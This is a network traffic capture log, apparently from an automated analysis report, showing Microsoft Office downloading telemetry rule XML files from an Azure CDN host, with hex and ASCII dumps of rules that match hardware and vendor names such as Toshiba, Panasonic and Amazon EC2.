Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.12	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:08 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 4626c155-d01e-0017-0ecc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151208Z-1746fd949bd6ztf6hC1EWRvq2s00000000wg00000000ny4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.12	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:08 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:08 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: de9014ac-301e-0051-7cc5-4538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151208Z-1746fd949bdwt8wrhC1EWRu6rg00000001gg00000000dyah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:08 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.12	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:08 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ddae3c3f-c01e-008d-3acb-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151208Z-1746fd949bd6zq92hC1EWRry48000000019000000000hshq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.12	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:09 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:09 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 8da67b63-c01e-0034-2ecb-452af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151209Z-1746fd949bdjzh7thC1EWR3g6400000001fg000000005cna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:09 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.12	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:10 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:10 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9009c19b-701e-0053-74c6-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151210Z-1746fd949bdjrnwqhC1EWRpg2800000001dg00000000dxxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:11 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.12	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:10 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 4ebe80de-801e-0047-51c8-457265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151210Z-1746fd949bdkw94lhC1EWRxuz400000001e000000000mvwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.12	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:10 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:10 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7eb0f396-d01e-0066-0ac6-45ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151210Z-1746fd949bd54zxghC1EWRzre400000001k000000000mpda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:11 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.12	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:11 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:11 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 46349be7-d01e-0017-71d1-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151211Z-1746fd949bdkw94lhC1EWRxuz400000001dg00000000nyed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:11 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.12	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:11 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:11 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 00b51f18-a01e-000d-6fcc-45d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151211Z-1746fd949bd9x4mhhC1EWRb76n00000001fg000000005s5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:11 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.12	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:12 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:13 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 935017b2-001e-0017-80c6-450c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151213Z-1746fd949bdlqd7fhC1EWR6vt000000001fg00000000k0gt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:13 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.12	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:12 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:13 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 5f5d2afa-901e-0015-66cc-45b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151213Z-1746fd949bd7wvgbhC1EWR0rgs00000001f0000000008yeb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:13 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.12	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:12 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:13 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 6baa9d1a-801e-0048-02ce-45f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151213Z-1746fd949bdnq7x2hC1EWRpxr0000000012g00000000q4wu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:13 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" 